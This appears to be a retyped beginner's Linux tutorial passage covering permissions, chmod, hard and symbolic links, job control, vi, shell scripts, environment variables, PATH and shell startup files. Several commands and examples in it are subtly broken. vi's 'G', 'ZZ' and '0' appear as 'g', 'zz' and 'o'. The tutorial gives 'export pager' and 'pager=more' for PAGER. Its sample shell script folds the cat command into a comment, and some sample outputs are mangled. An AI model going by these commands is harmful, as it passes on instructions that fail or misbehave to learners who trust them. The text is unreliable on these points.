In other words, to access a file at all, you must have execute access to all dirs along the file's pathname, and read (or execute) access to the file itself.

Typically, users on a linux system are very open with their files. The usual set permissions given to files are -rw-r--r-, which lets other users read the file but not change it in any way. The usual set of permissions given to dirs is -rwxr-xr-x, which lets other users look through your dir, but not create or delete file within them.

However, many users wish to keep other users out of their files. Setting the permissions of a file to -rw---- will prevent any other user from accessing the file. Likewise, setting the permissions of a dir to -rwx--- keeps other users out of the directory.



### ---Changing Permissions---

The command "Chmod: is used to set the permissions on a file.Only the owner of a file may change the permissions of that file.The syntax of chmod is: [a,u,g,o][+,-][r,w,x] filenames.

Briefly, you supply one or more of "all,user,group,or other".Then u specify whether u are adding rights (+) or taking them away (-).Finally,u specify one or more of read, write, and execute.Some examples of legal commands are:

"chmod a+r stuff":this gives all users read access to the file.

"chmod +r stuff":same as above--if none of a,u,g,o is specified,a is assumed.

"chmod og-x stuff":Remove execute permission from users other than the owner.

"chmod u+rwx stuff":Let the owner of the file read,write,and execute the file.

"Chmod o-rwx stuff":remove read,write and execute permission from users other than the owner and users in the file's group.

### ---Managing file links---

Links let u give a single file more than one name.Files are actually identified by the system by their inode number,which is just the unique file system identifier for the file.A dir is actually a listing of inode numbers with their corresponding filenames.Each filename in a dir is a link to a particular inode.

### ---Hard Links---

The ln command is used to create multiple links for one file.For example, let's say that u have a file called foo in a dir.Using "ls -li" u can look at the inode number for this file.

etc:"ls -li foo"

"22192 foo"

Here,foo had a inode number of 22192 in the file system.U can create another link to foo, named bar,as follows:

"ln foo bar"

with ls -li u see that the two files have the same inode.

"ls -li foo bar"

"22192 bar" "22192 foo"

Now,specifying either foo or bar will access the same file.IF u make changes to foo,those changes will appear in bar as well.For all purposes,foo and bar are the same file.

These links are known as hard links because they create a direct link to an inode.Note that u can hard link files only when they're on the same file system;symbolic links(see below)dont have this restriction.

When u delete a file with rm,uare actually only deleting one link to a file.IF u use command:"rm foo"

Then only the link named foo is deleted,bar will still exist.A file is only truly deleted on the system when it has no links to it.

Usually,files have only 1 link,so using the rm command deletes the file.

However,if a file has multiple links to it,using rm will delete only a single link;in order to delete the file u must delete all links to the file.

The command ls -li displays the number of links to a file(among other info).

etc:"ls -li foo bar"

"-rw-r--r-- 2 root root 12\_aug\_5\_16:51\_bar"

```
"-rw-r--r-- 2 root root 12_aug_5_16:51_foo"
```

The second column in the listing, "2", specifies the number of links to the file.

As it turns out, a directory is actually just a file containing info about link-to-inode associations. Also, every dir contains at least 2 hard links: "." (a link pointing to itself), and ".." (a link pointing to the parent dir). The root dir("/").. "link just points back to / (in other words, the parent if the root dir is the root dir itself).

---Symbolic links---

Symbolic links, or symlinks, are another type of link, which are different from hard links. A symbolic link gives a file another name, but doesn't link the file by inode.

The command "ln -s" creates a symbolic link to a file. For example, if you use the command: "ln -s foo bar"

you will create a symbolic link named bar that points to the file foo.

If you use "ls -li", you'll see that the 2 files have different inodes indeed.

```
etc:"ls -li foo bar"
```

```
"22195 bar" "22192 foo"
```

However, using ls -l, we see that the file bar is a symlink pointing to foo.

```
etc:"ls -l foo bar"
```

```
"lrwxrwxrwx 1 root root 3_Aug_5_16:51_bar ->_foo"
```

```
"-rw-r--r-- 1 root root 3_Aug_5_16:51_bar_foo"
```

The file permissions on a symbolic link are not used (they always appear as rwxrwxrwx). Instead, the permissions on the symbolic link are determined by the permissions on the target of the symbolic link (in our example, the file foo).

Functionally, hard links and symbolic links are similar, but there are differences. For one thing, you can create a symbolic link to a file that doesn't exist, the same is not true for hard links. Symbolic links are processed by the kernel differently than are hard links, which is just a technical difference but sometimes an important one. Symbolic links are helpful because they identify the file they point to; with hard links, there is no easy way to determine which files are linked to the same inode.

Links are used in many places on a Linux system. Symbolic links are especially important to the shared library images in /lib.

---Job control---

Job control is a feature provided by many shells (including bash and tcsh) that let you control multiple running commands, or jobs, at once. Before we can delve much further, we need to talk about processes.

Every time you run a program, you start what is called a process. The command "ps" displays a list of currently running processes, as shown here:

```
Pid TT stat Time Command
```

```
24 3 S 0:03 (BASH)
```

```
161 3 r 0:00 ps
```

The pid listed in the first column is the process id, a unique number given to every running process. The last column, Command, is the name of the running commands. Here, we're looking only at the process which MAX himself is currently running. (There are many other processes running on

ther system as well--"ps -aux" list them all) these are bash(MAx's shell), and the ps command itself.As u can see,bash is running concurrently with the ps command bash executed ps when MAX typed the command.After ps has fished running (After the table of proccesses is displayed), control is returned to the bash process,which displays the prompt, ready for another command.

A running process is also called a job.The terms process and job are interchangeable.Howeverma process is usually referred to as a "Job" when used in conjunction with job control a feature of the shell thats lets u switch between several independant jobs.

In most cases users run only a single job at a time whatever command they last typed to the shell.However,using job control,u can run serveral jobs at once,and switch between them as needed.

Hoe might this be useful?.Let's sat u are editing a txt file and want to interrupt your editing and do something else.With job control, u cn temporarily suspend the editor,go back to the shell prompt and start work on something else.When u're done,u can swith back to the editor and be back where u started,as if u didnt leave the editor.There are many other practical uses of job control.

---Foreground and background---

Jobs can either be in the foreground or in the background.There can only be one job in foreground at a time.The foreground job is the job with which u interact it recives input from the keyboard and sends output to your screen,unless,of course,u have redirected input or output,as describled starting on page.On the other hand,jobs in the background do not receive input from the terminal in general,they run along quietly without the need for interaction.

Some jobs take a long time to finish and dont do anyhting interesting while they are running.Compiling programs is one suck job,as is compressing a large file.There is no reason why u should site around and be bored while these jobs complete their tasks;just run them in the background.While jobs run in the background,u are free to run other programs.

Jobs may also be suspended.A suspended job is a job that is temporarily stopped.After u suspend a job u can tell the job to continue in the foreground or the background as needed.Resuming a suspended job does not changes the state of the job in any way the job continues to run where it left off.

Suspending a job is not equal to interrupting a job.When u interrupt a running process(by pressing the interrupt key, which is usually ctrl+c, the process is killed,for good.Once the job is killed,ther;s no hope of resuming it.U'll must run the command again.Also,some programs trap the interrupt,so that pressing ctrl+c wont immediately kill the job.This is to let the program perform any necessary cleanup operations before exiting.In fact,some programs dont let u kill them with an interrupt at all.

---Backgrounding and killing jobs---

Lets begin wit a simple example.The command yes is a seemingly useless commands that sends and endless stream of y's to standard output.(This is actually useful.If u piped the output of yes to another commands which alsked a series of yes and no questions,the stream of y's would confirm all of the questons.)

try it out : "yes"

"y"

"y"

"y"

"y"

the y's will continue ad infinitum. U can kill process by pressing the interrupt key, Which is usually ctrl+c. So that we dont have to put up with the annoying stream of y's, lets redirect the standard output of yes to /dev/null. As u may rememer /dev/null is nothing. this method is very affective on quitting an otherwise verbose program. etc: "yes > /dev/null"

Ah, much better. Nothing is printed but the shell prompt doesnt come back. This is because yes is still running, And is sending these inane y's to /dev/null. Again, to kill the job press the interrupt key.

Lets suppose that u want the yes command to continue to run but wanted to get the shell prompt back so that u can work on other things. U can put yes into the background, allowing it to run, without need of unteraction.

On way to put a process in the background is to append an "&" character to the end of the command.

"yes > /dev/null &"

As u can see, the shell prompt has returned. But what us this "[1] 164"? And s the yes command really running?

The "[1]" representds the job number for the yes process. The shell assigns a job number to every running job. Because yes is the one and only job we're runing, it is assigned a job number 1, The "164" is the process ID, or PID, number geiven by the system to the job. U can use either number to rever to the job, as u'll see later.

U noe have the yes process running in the background, continuously sending a stream of y's to /dev/null. To check on the status of this process, use the internal shell command jobs.

etc: "jobs"

"[1]+ \_\_running\_\_\_\_\_yes+>/dev/numm\_\_&"

Sure enough, there it is. U could also use the "ps" command as demonstrated above to check the stau of the job.

To terminate the job, use the kill command. This command takes either a job number or a process ID number as an argument. This was job number 1, so using the command:

etc: "Kill %1"

kills the job. When identifying the job. number, u must prefix the number with a percent ("%") character.

Now that u've killed the job, use jobs again to check on it.

etc: "jobs"

"[1]+ terminated Yes >/dev/null"

The job is in fact dead, and if u use the jobs command again nothing should be printed.

u can also kill the job using the process ID (PID) number, displayed along with the job ID when u start the job. In our example the process ID is 164, so the command : "kill 164"

is a equivalent to "kill %1"

u dont need to use the "%" when referring to a job by its process ID.

---Stopping and restarting jobs---

There is another way to put a job into the background. U can start

the job normally (in the foreground), stop the job, and then restart it in the background.

First start the yes process in the foreground, as you did before:

```
"yes > /dev/null
```

again, because yes is running in the foreground, you shouldn't get the shell prompt back.

Now, rather than interrupt the job with Ctrl+c, suspend the job. Suspending a job doesn't kill it; it only temporarily stops the job until you restart it.

To do this, press the suspend key which is usually "Ctrl+z"

```
etc:"Yes > /dev/null
```

```
"CTrl+z"
```

```
"[1]+ __stopped_____yes_>/dev/null"
```

While the job is suspended, it's simply not running. No CPU time is used for the job. However, you can restart the job, which causes the job to run again as if nothing ever happened. It will continue to run where it left off.

To restart the job in the foreground, use the "fg" command (for "foreground").

```
etc:"fg"
```

```
"yes >/dev/null"
```

The shell displays the name of the command again so you're aware of which job you just put into the foreground. Stop the job again Ctrl+z. This time use the "bg" command to put into the background. This causes the command to run just as if you started the command with "&" as in the last section.

```
etc:"bg"
```

```
"[1]+ yes >/dev/null &"
```

And you have your prompt back. Jobs should report that yes is indeed running, and you can kill the job with "Kill" as we did before.

How can you stop the job again? Using Ctrl+z won't work, because the job is in the background. The answer is to put the job in the foreground with "fg", and then stop it. As it turns out, you can use "fg" on either stopped job or jobs in the background.

There is a big difference between a job in the background and a job that is stopped. A stopped job is not running; it's not using CPU time, and it's not doing any work (the job still occupies system memory, although it may have been swapped out to disk). A job in the background is running and using memory, as well as completing some task while you do other work. However, a job in the background may try to display text on your terminal, which can be annoying if you're trying to work on something else. For example, if you used the command

```
etc:"yes &"
```

without redirecting stdout to /dev/null, and a stream of y's would be displayed on your screen, without any way for you to interrupt it (you can't use Ctrl+c to interrupt jobs in the background.) In order to stop the endless y's use the fg command to bring the job to the foreground, and then use Ctrl+C to kill it.

Another note. The "fg" and "bg" commands normally affect the job that was last stopped (indicated by a "+" next to the job number when you use the jobs command). If you are running multiple jobs at once, you can put jobs in the foreground or background by giving the job ID as an argument to "fg" or "bg", as in

```
etc:" fg %2"
```

(to put job number 2 into background foreground), or

```
etc:"bg %3"
```

(to put job number 3 into the background). You can't use process ID numbers with "fg" or "bg".

Furthermore, using the job number alone, as in  
etc: "%2"

is equivalent to

: "fg %2"

Just remember that using job control is a feature of a shell. The "fg", "bg" and jobs commands are internal to the shell. If for some reason you can use a shell that doesn't support job control, don't expect to find these commands available.

In addition, there are some aspects of job control that differ between bash and tcsh. In fact, some shells don't provide job control at all; however, most shells available for Linux do.

---Using the Vi editor---

A text editor is a program used to edit files that are composed of text: a letter, a program, or a system configuration file. While there are many such editors available for Linux, the only editor that you are guaranteed to find on any Unix/Linux system is vi, the "visual editor". Vi is not the easiest editor to use, nor is it very self-explanatory. However, because vi is so common in the Unix/Linux world, and sometimes necessary, it deserves discussion here.

Your choice of an editor is mostly a question of personal taste and style. Many users prefer the baroque, self-explanatory and powerful emacs and editor with more features than any other single program in the Unix world. For example, emacs has its own built-in dialect of the LISP programming language, and has many extensions (one of which is an Eliza-like artificial intelligence program). However, because emacs and its support files are relatively large, it may not be installed on some systems. Vi, on the other hand, is small and powerful but more difficult to use. However, once you know your way around vi, it's actually very easy.

This section presents an introduction to vi; we won't discuss all of the features, only the ones you need to know to get started.

You can refer to the man page for vi if you're interested in learning more about this editor's features. Alternatively, you can read the book "Learning the vi editor" from O'Reilly and Associates, or the "VI tutorial" from specialized system consultants.

---Concepts of vi---

While using vi, at any one time you are in one of three modes of operation. These modes are called command mode, insert mode, and last line mode. When you start up vi, you are in command mode. This mode lets you use commands to edit files or change to other modes. For example, typing "x" while in command mode deletes the character underneath the cursor. The arrow keys move the cursor around the file you're editing. Generally, the commands used in command mode are one or two characters long.

You actually insert or edit text within insert mode. When using vi, you'll probably spend most of your time in this mode. You start insert mode by using a command such as "i" (for "insert") from command mode. While in insert mode, you can insert text into the document at the current cursor location. To end insert mode and return to command mode, press "esc".

Last line mode is a special mode used to give a certain extended command to vi. While typing these commands, they appear on the last line of the screen (hence the name). For example, when you type ":" in command mode, you jump into last line mode and can use commands like "wq" (to write the file and

quit vi), or "q!"(to quit vi without saving changes).Last line mode is generally used for vi commands that are longer than 1 character.In last line mode,u enter a single line commands and press enter to execute it.

### ---Starting vi---

The best way to understand these concepts is to fire up vi and edit a file.The example "screens" below show only a few lines of text,as if the screen were only six lines high instead of twenty four.

The syntax for vi is "Vi filename"

where filename is the name of the file to edit.

Start up vi by typing ":"vi test"

to edit the file test.U should see something like

```
~  
-  
~  
-  
~  
-  
~  
-  
~  
-
```

"test"[new file]

The column of "~" characters indicates u are at the end of the file.

The represents the cursor.

### ---Inserting text---

The vi program is now in command mode.Insert text into the file by pressing i,which places the editor into insert mode,and begin typing.

Type aas many lines as u want(press enter after each).U may correct mistakes with the backspace key.

TO end insert mode and return to command mode,press "Esc"

In command mode u can use the arrow key to move around in the file.

(IF u have only 1 line on text,trying to use the up or down -arrow keys will probley cause vi to beep u.)

There are several ways to insert text other than the "i" command.

The "a" command inserts text beginning after the current cursor position, instead of at the current cursor position.For example,use the left arrow key to move the cursor between 2 words u typed.

press "a" to start insert mode,type"HO",and then press "Esc" to return

To command mode.To begin inserting text at the next line,use the "o" command.Press "o" and enter another line or two:.

### ---Deleting text---

From command mode, the "x" command deletes the character under the cursor.

If u press "x"five times,u'll end up with:the last 5 characters delted.

Now press "a" and insert some more characters followed by "Esc".

U can delted entire lines using the command "dd"(that is,press "d" twice in a row).IF the cursor is on the second line and u typed "dd" u'll lose the all the text after the point where the cursor is.

To delete the word that the cursor is on,use the "dw"command.Place the cursor on any work and type "dw"

### ---Changing text---

U can replace sections of text using the "r" command. Place the cursor on the first letter on first line and press "r", and type another word. Using "r" to edit text is like the "i" and "a" commands, but "R" overwrites, rather than inserts, text.

The "r" command replaces the single character under the cursor. For example, move the cursor to the beginning of the first letter in first word. Now press "r" followed by a character, you will see how it changes.

The "~" command changes the case of the letter under the cursor from upper to lower case, and back. For example, if u place the cursor on the last letter u just changed and repeatedly press "~", u'll end up with all the letters becoming capital's.

### ---Commands for moving the cursor---

U already know how to use the arrow keys to move around the document. In addition, u can use the "h", "j", "k" and "l" commands to move the cursor, left, down, up and right, respectively. This comes in handy when (for some reason) your arrow key's arnt working.

The "w" command moves the cursor to the beginning of the next word; the "b" command moves it to the beginning of the previous word.

The "o" command (that's the zero key) moves the cursor to the beginning of the current line, and the "\$" command moves it to the end of the line.

When editing large files, u'll want to move forwards or backwards through the file a screenfull at a time. Pressing "ctrl+f" moves the cursor one screenful forward, and "Ctrl+b" moves it a screenful back.

To move the cursor to the end of the file, press "g". U can also move an arbitrary line; for example, typing the command "10g" would move the cursor to line 10 in the file. To move to the beginning of the file, use "1g".

u can couple moving commands with other commands, such as those for deleting text. For example, the "d\$" command deletes everything from the cursor to the end of the line; "dg" deletes everything from the cursor to the end of the file, and so on.

### ---Saving files and quitting vi---

To quit vi without making changes to the file, use the command ":q!".

When u press the ":", the cursor moves to the last line of the screen and u'll be in the last line mode.

In last line mode, certain extended commands are available. One of them is "q!", which quits vi without saving. The command ":wq" saves the file and then exits vi. The command "zz" (from command mode, without the ":") is equivalent to ":wq". If the file has not been changed since the last save, it merely exits, preserving the modification time of the last change. Remember that u must enter after the command entered in last line mode.

To save the file without quitting vi, use ":w".

### ---editing another file---

To edit another file use the ":e" command. For example, to stop editing "your current file" and edit lets say "foo" instead, use the command.

If u use ":e" without saving the file first, u'll get the error message.

"NO write since last change (":edit!" overrides)"

Which means that vi doesn't want to edit another file until u save the first one. At this point, u can use ":w" to save the original file, and then use ":e", or u can use the command.



The "!" tells vi that u really mean it edit the new file without saving changes to the first.

---Including other files---

If u use the ":r" command, u can include the contents on another file in the current file. For example, the command inserts the contents of the file "foo".txt in the text at the location of the cursor.

---Running shell commands---

U can also run shell commands within vi. The ":r!" command works like ":r", but rather than read a file, it inserts the output of the given command into the buffer at the current cursor location. For example, if u use the command. ":r! ls -f"

u'll end up with.

"what u have typed"

"under that a distriction of everything in the dir your in"

U can also "shell out" of vi, in other words, run a command from within vi, and return to the editor when u're done. For example, if u use the command ":! ls -f" the "ls -f" command will be executed and the results displayed on the screen, but not inserted into the file u're editing. If u use the command.

":shell"

vi starts an instance of the shell, letting u temporarily put vi "on hold" while u execute other commands. Just log out of the shell (using the "exit" command) to return to vi.

---Getting help---

Vi doesn't provide much in the way of interactive help (most linux programs don't), but u can always read the man page for vi. vi is a visual front-end to the ex editor; which handles many of the last line mode commands in vi. So, in addition to reading the man page for vi, see ex as well.

---Customizing u'r Environment---

A shell provides many mechanisms to customize u'r work environment. As mentioned above, a shell is more than a command interpreter it is also a powerful programming language. Although writing shell scripts is an extensive subject, we'd like to introduce u to one of the ways that can simplify u'r work for linux system by using these advanced features of the shell.

As mentioned before, different shells use different syntaxes when executing shell scripts. For example, Tcsh uses a c-like syntax, while Bourne shells use another type of syntax. In this section, we won't be encountering many differences between the two, but we will assume that shell scripts are executed using the Bourne shell syntax.

---Shell scripts---

Lets say that u use a series of commands often and would like to save time by grouping all of them together into a single "command". For example, the three commands

```
"cat chapter1 chapter2 chapter3 >book"
```

```
"wc -l book"
```

```
"lp book"
```

All this takes the files "chapter1", "chapter2", "chapter2" and places them in a file called book. The second command displays a count of the number of lines in the book, and the third command "lp book" prints book.

Rather than type all these commands, u can group them into a shell script. The shell script used to run all these commands might look like this

```
"#!/bin/sh"
```

```
"#A shell script to create and print the book cat chapter1 chapter2 chapter2 > book"
```

```
"lp book"
```

shell scripts are just plain text files; u can create them with an editor such as "emacs or vi.

Let's look at this shell script. The first line, `#!/bin/sh`, identifies the file as a shell script and tells the shell how to execute the script. It instructs the shell to pass the script to `/bin/sh` for execution, where `/bin/sh` is the shell program itself. Why is this important? On most Linux systems, `/bin/sh` is a Bourne type shell, like `bash`. By forcing the shell script to run using `/bin/sh`, you ensure that the script will run under a Bourne syntax shell (rather than a C shell). This will cause your script to run using the Bourne syntax even if you use `tcsh` (or another C shell) as your login shell.

The second line is a comment. Comments begin with the character `#` and continue to the end of the line. Comments are ignored by the shell; they are commonly used to identify the shell script to the programmer and make the script easier to understand.

The rest of the lines in the script are just commands, as you would type them to the shell directly. In effect, the shell reads each line of the script and runs that line as if you had typed it at the shell prompt.

Permissions are important for shell scripts. If you create a shell script, make sure that you have execute permission on the script in order to run it. When you create text files, the default permissions usually don't include execute permission, and you must set them explicitly. Briefly, if this script were saved in the file called `makebook`, you could use the command

```
"chmod u+x makebook"
```

to give yourself execute permission for the shell script `makebook`.

You can use the command

```
"makebook"
```

to run all the commands in the script.

---Shell variables and the environment---

A shell lets you define variables, as do most programming languages. A variable is just a piece of data that is given a name.

`tcsh`, as well as other C type shells, use a different mechanism for setting variables than is described here. This discussion assumes that use of a Bourne shell like `bash`.

When you assign a value to a variable (using the `=` operator), you can access the variable by prepending a `$` to the variable name, as demonstrated below.

```
" foo="hello there" "
```

The variable `foo` is given the value `hello there`. You can then refer to this value by the variable name prefixed with a `$` character. For example, the command

```
" Echo $foo"
```

```
"hello there"
```

produces the same result as

```
"echo "hello there" "
```

```
"hello there"
```

These variables are internal to the shell, which means that only the shell can access them. This can be useful in shell scripts; if

you need to keep track of a filename, for example, you can store it in a variable, as above. Using the `set` command displays a list of all defined shell variables.

However, the shell lets you export variables to the environment. The environment is the set of variables that are accessible by all commands that you execute. Once you define a variable inside the shell, exporting it makes the variable part of the environment as well. Use the `export` command to export a variable to the environment.

Again, here we differ between `bash` and `tcsh`. If you use `tcsh`, another syntax is used for setting environment variables (the `setenv` command is used).

The environment is very important to the Unix system. It lets you configure certain commands just by setting variables which the commands know about.

Here is a quick example. The environment variable `PAGER` is used by the `man` command and it specifies the command to use to display manual pages one screenful at a time. If you set `PAGER` to the name of a command, it uses the command to display the man pages, instead of `more` (which is default).

Set `PAGER` to `cat`. This causes output from `man` to be displayed to the screen all at once, without pausing between pages.

```
"PAGER=cat"
```

Now, export `PAGER` to environment.

"export pager"

Try the command "man ls". The man page should fly past your screen without pausing for u. Now if we set pager to "more", the more command is used to display the man page.

"pager=more"

\*\*\*Note that we don't have to use the export command after we change the value of pager. We only need to export a variable once; any changes made to it thereafter will automatically be propagated to the environment.

It is often necessary to quote strings in order to prevent the shell from treating various characters as special. For example, you need to quote a string in order to prevent the shell from interpreting the special meaning of characters such as "\*", "?" or as space. There are many other characters that may need to be protected from interpretation. A detailed explanation and description of quoting is described in "SSC's Bourne shell tutorial".

The manual pages for a particular command tell you if the command uses any environment variables. For example, the man page explains that "pager" is used to specify the pager command. Some commands share environment variables. For example, many commands use the editor environment variable to specify the default editor to use when one is needed.

The environment is also used to keep track of important info about your login session. An example is the HOME environment variable, which contains the name of your home dir.

"echo \$HOME"

Another interesting environment variable is "ps1", which defines the main shell prompt. For example,

"PS1="your command, please: "

"your command, please:"

To set the prompt back (which contains the current working dir followed by a "#" symbol),

"Your command, please: PS1="\w#\_ " "

The bash manual page describes the syntax used for setting the prompt.

---The path environment variable---

When you use the "ls" command, how does the shell find the "ls" executable itself? In fact, "ls" is in /bin on most systems. The shell uses the environment variable "path" to locate executable files from commands of type.

For example, your path variable may be set to.

"/bin:/usr/bin:/usr/local/bin: "

This is a list of dirs for the shell to search, each dir separated by a ":". When you use the command "ls", the shell first looks for /bin/ls, then /usr/bin/ls, and so on.

\*\*\*Note that the "Path" has nothing to do with finding regular files. For example, if you use the command.

"cp foo bar"

the shell does not use path to locate the files foo and bar; those filenames are assumed to be complete. The shell only uses path to locate the "cp" executable.

This saves you time, and means that you don't have to remember where all the command executables are stored. On many systems, executables are scattered about in many places, such as /usr/bin, /bin or /usr/local/bin. Rather than give the command's full pathname (such as /usr/bin/cp), you can set path to the list of dirs that you want the shell to automatically search.

Notice that path contains ".", which is the current working dir. This lets you create a shell script or program and run it as a command from your current dir without having to specify it directly (as in ./makebook). If a dir isn't in your path, then the shell will not search it for commands to run; this also includes the current dir.

---Shell initialization scripts---

In addition to the shell scripts that you create, there are a number of scripts that the shell itself uses for certain purposes. The most important of these are initialization scripts, which are scripts executed by the shell when you log in.

The initialization scripts themselves are simple shell scripts. However, they initialize your environment by executing commands automatically when you log in. If you always use the mail command to check your mail when you log in, you place the command in the initialization script so it will execute automatically.

Both bash and tcsh distinguish between a login shell and other invocations of the shell. A login shell is a

shell invoked when u log in. Usually, it's the only shell u'll use. However if u "shell out" of another program like vi, u start another instance of the shell, which isn't u'r login shell. In addition, whenever u run a shell script u automatically start another instance of the shell to execute the script.

The initialization files used by bash are: /etc/profile (set up by the system admin and executed by all bash users at the login time), \$HOME/.bashprofile (executed by a login bash session), and \$HOME/.bashrc (executed by all non-login instances of bash). If -bash\_profile is not present, .profile is used instead.

tcsh uses the following initialization scripts: /etc/csh.login (executed by all tcsh users at login time), \$HOME/.tcshrc (executed at login time and by all new instances of tcsh), and \$HOME/.login (executed at login time, following .tcshrc). If .tcshrc is not present, .cshrc is used instead.

-----Personal Notes-----

A complete guide to shell programming would take forever to write. For more info on shell programming look at your manual pages for bash or tcsh.

